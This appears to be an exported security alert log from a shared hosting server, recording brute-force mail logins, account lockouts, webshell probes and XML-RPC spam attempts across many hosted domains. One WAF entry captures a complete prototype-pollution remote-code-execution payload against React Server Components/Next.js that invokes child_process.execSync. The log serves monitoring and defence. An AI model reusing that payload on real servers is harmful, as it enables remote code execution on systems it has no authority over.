2026-01-31 04:25:52 dovecot_login authenticator failed for H=(dOQXw9) [185.230.124.69]:59454: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:25:05 dovecot_login authenticator failed for H=(yWDS4cWmdH) [185.230.124.69]:62548: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 193.26.115.228
country_id: 6252001
description:
Jan 31 04:25:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account wilson has been locked for the attacker IP 193.26.115.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:25:14 dovecot_login authenticator failed for H=(SLK5cI) [193.26.115.228]:51583: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:25:16 dovecot_login authenticator failed for H=(AP6Da2P) [178.16.54.22]:50150: 535 Incorrect authentication data (set_id=mustapa)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: webhosting2u.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/webhost/public_html/assets||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:25:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.231.31.226
country_id: 1605651
description:
2026-01-31 04:26:51 dovecot_login authenticator failed for H=([49.231.31.226]) [49.231.31.226]:46282: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:26:11 dovecot_login authenticator failed for H=(4TEZYxgev) [193.26.115.228]:54370: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:26:18 dovecot_login authenticator failed for H=(GyjRqBgmpT) [185.230.124.69]:59149: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:26:19 dovecot_login authenticator failed for H=(14znCQnfw) [178.16.54.22]:58104: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:26:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: gagasanteguh.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/gagasanteguhcom/public_html/wp-content||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:27:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:27:08 dovecot_login authenticator failed for H=(n4IPpTGx) [193.26.115.228]:57549: 535 Incorrect authentication data (set_id=wilson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:27:09 dovecot_login authenticator failed for H=(jFUh2p) [185.230.124.69]:61549: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:27:10 dovecot_login authenticator failed for H=(3VpXaMi8j) [178.16.54.22]:62312: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.163.252.244
country_id: 1814991
description:
2026-01-31 04:27:19 dovecot_login authenticator failed for H=([220.163.252.244]) [220.163.252.244]:60329: 535 Incorrect authentication data (set_id=editor@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-31 04:27:34 dovecot_login authenticator failed for H=([182.95.226.118]) [182.95.226.118]:40942: 535 Incorrect authentication data (set_id=editor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.69.195.7
country_id: 1814991
description:
2026-01-31 04:27:01 dovecot_login authenticator failed for H=([125.69.195.7]) [125.69.195.7]:58324: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:28:14 dovecot_login authenticator failed for H=(c0ciE24A) [178.16.54.22]:64946: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:28:28 dovecot_login authenticator failed for H=(kMpHwnbe6) [185.230.124.69]:64771: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:28:06 dovecot_login authenticator failed for H=(yxJ0sPZtkG) [193.26.115.228]:61145: 535 Incorrect authentication data (set_id=wilson)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/cofrethcom/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:28:03 dovecot_login authenticator failed for H=(icbN3gBtL5) [185.230.124.69]:59995: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:28:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.26.115.228
country_id: 6252001
description:
2026-01-31 04:29:04 dovecot_login authenticator failed for H=(qHeuesYKd) [193.26.115.228]:50795: 535 Incorrect authentication data (set_id=wilson)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.208.80.64
country_id: 1819730
domain: mail.ahfengineering.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/ahfe3522/public_html/wp-includes/images/wp-login.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:29:15 dovecot_login authenticator failed for H=(y4NGbv7) [185.230.124.69]:58588: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:29:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-01-31  4:29:31 11216 [Warning] Aborted connection 11216 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:29:03 dovecot_login authenticator failed for H=(amMkE1BGq) [178.16.54.22]:63530: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.101.16.250
country_id: 272103
description:
2026-01-31 04:30:13 dovecot_login authenticator failed for H=([185.134.179.106]) [185.101.16.250]:41165: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:68252.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:03306d75f8c59ceb897a5f4da48e02c5f4183c0c||Title:0xbe0e4419||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:30:12 dovecot_login authenticator failed for H=(SI6slO) [178.16.54.22]:65285: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.14.8
country_id: 732800
description:
2026-01-31 04:30:32 dovecot_login authenticator failed for H=(ADMIN) [94.156.14.8]:54650: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.91.5
country_id: 1269750
description:
2026-01-31 04:30:37 dovecot_login authenticator failed for H=(abts-tn-static-005.91.165.122.airtelbroadband.in) [122.165.91.5]:53945: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:30:01 dovecot_login authenticator failed for H=(MiwZUK) [185.230.124.69]:56841: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:30:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-01-31  4:31:35 11425 [Warning] Aborted connection 11425 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:31:22 dovecot_login authenticator failed for H=(oD6xOz) [185.230.124.69]:59985: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:31:30 dovecot_login authenticator failed for H=(0bRlBsBf) [178.16.54.22]:51180: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:31:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:31:15 dovecot_login authenticator failed for H=(cG18fFa) [185.230.124.69]:49596: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:32:02 dovecot_login authenticator failed for H=(T7sgp3) [178.16.54.22]:63470: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:32:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:32:07 dovecot_login authenticator failed for H=(iNJ89R5O5) [185.230.124.69]:60630: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.159.175.91
country_id: 2464461
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=20 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:32:57 dovecot_login authenticator failed for H=(Kj1XG6) [185.230.124.69]:64368: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.39.27.8
country_id: 1835841
description:
2026-01-31 04:33:32 dovecot_login authenticator failed for H=(devserver.gaonsoft.com) [118.39.27.8]:37428: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-01-31 04:33:40 dovecot_login authenticator failed for H=([128.185.223.185]) [27.123.114.190]:48934: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:33:02 dovecot_login authenticator failed for H=(Iu7S9n) [185.230.124.69]:54411: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: kdiballoon.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/kdiballo1/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:33:13 dovecot_login authenticator failed for H=(sP01RbZ) [178.16.54.22]:54739: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:33:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.207.61.55
country_id: 1269750
domain: tst-ma.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:97735.tst-ma.com||ServerName:tst-ma.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d5f39238070838d3b1390c1351084d18fd224b14||Title:0x6fe13822||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-01-31 04:34:37 dovecot_login authenticator failed for H=([131.161.184.46]) [131.161.184.46]:41512: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-31 04:34:48 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:47210: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:34:14 dovecot_login authenticator failed for H=(vUcVx2sv) [185.230.124.69]:51497: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:34:20 dovecot_login authenticator failed for H=(1rhmrT) [178.16.54.22]:50321: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:34:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:34:33 dovecot_login authenticator failed for H=(Ub7BjZ98) [185.230.124.69]:57827: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:35:57 dovecot_login authenticator failed for H=(TNkeXsl) [185.230.124.69]:59399: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:35:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.38.130
country_id: 1210997
description:
2026-01-31 04:35:57 dovecot_login authenticator failed for H=([49.0.38.130]) [49.0.38.130]:36960: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:35:03 dovecot_login authenticator failed for H=(uGQR8YJT3e) [185.230.124.69]:64069: 535 Incorrect authentication data (set_id=finance@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:35:11 dovecot_login authenticator failed for H=(lr4WvCsB) [178.16.54.22]:56540: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.172.239.193
country_id: 3017382
description:
2026-01-31 04:35:29 dovecot_login authenticator failed for H=sed08-h03-176-172-239-193.dsl.sta.abo.bbox.fr [176.172.239.193]:64475: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77093094
abuser: 194.163.133.180
country_id: 3017382
domain: inter-link.edu.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((44723*43971))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:36:07 dovecot_login authenticator failed for H=(kAmWsNg) [185.230.124.69]:62299: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:36:16 dovecot_login authenticator failed for H=(Reu02Y4a) [178.16.54.22]:62384: 535 Incorrect authentication data (set_id=paul.wong)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.232.214
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=348656 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:36:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:37:03 dovecot_login authenticator failed for H=(oTqGTqf01s) [178.16.54.22]:60848: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:37:21 dovecot_login authenticator failed for H=(ILf9gwZ) [185.230.124.69]:50269: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:37:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:37:02 dovecot_login authenticator failed for H=(aB5W63rk9K) [185.230.124.69]:64798: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:38:05 dovecot_login authenticator failed for H=(9mVtZwX) [185.230.124.69]:60524: 535 Incorrect authentication data (set_id=finance@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.70.186.174
country_id: 2077456
domain: mail.ms-chemicals.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/mschemic/public_html/wp-includes/images/wp-login.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:38:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:38:10 dovecot_login authenticator failed for H=(vy1IxT) [178.16.54.22]:54157: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:39:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:39:21 dovecot_login authenticator failed for H=(GZB4d6iM8) [185.230.124.69]:54492: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:39:23 dovecot_login authenticator failed for H=(q2jkxZe6) [185.230.124.69]:50352: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.9
country_id: 6252001
description:
2026-01-31 04:39:34 dovecot_plain authenticator failed for H=([192.159.99.9]) [192.159.99.9]:63214: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.9
country_id: 6252001
description:
2026-01-31 04:40:05 dovecot_plain authenticator failed for H=([192.159.99.9]) [192.159.99.9]:50799: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:40:05 dovecot_login authenticator failed for H=(fOOSV93) [185.230.124.69]:63752: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.132.133.54
country_id: 1269750
description:
2026-01-31 04:40:50 dovecot_login authenticator failed for H=(dsl-del-dynamic-073.72.246.61.airtelbroadband.in) [203.132.133.54]:38198: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/m.me/images/article.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:40:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:40:07 dovecot_login authenticator failed for H=(ipLWvT8oKs) [178.16.54.22]:51091: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:41:12 dovecot_login authenticator failed for H=(yTnX08) [185.230.124.69]:57198: 535 Incorrect authentication data (set_id=finance@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:41:17 dovecot_login authenticator failed for H=(TyOc7K7h) [178.16.54.22]:51511: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:41:25 dovecot_login authenticator failed for H=(e8NfCq) [185.230.124.69]:52510: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.168.17.20
country_id: 2077456
description:
2026-01-31 04:41:46 dovecot_login authenticator failed for H=([101.168.17.20]) [101.168.17.20]:35128: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.20.86.55
country_id: 1814991
description:
2026-01-31 04:41:13 dovecot_login authenticator failed for H=([14.20.86.55]) [14.20.86.55]:40760: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:41:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:42:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.122.253
country_id: 1643084
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=78961514527453 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-01-31 04:42:07 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:50277: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:42:21 dovecot_login authenticator failed for H=(a1r3ZG) [178.16.54.22]:57854: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:42:17 dovecot_login authenticator failed for H=(Tut6WP) [185.230.124.69]:50130: 535 Incorrect authentication data (set_id=ernest)


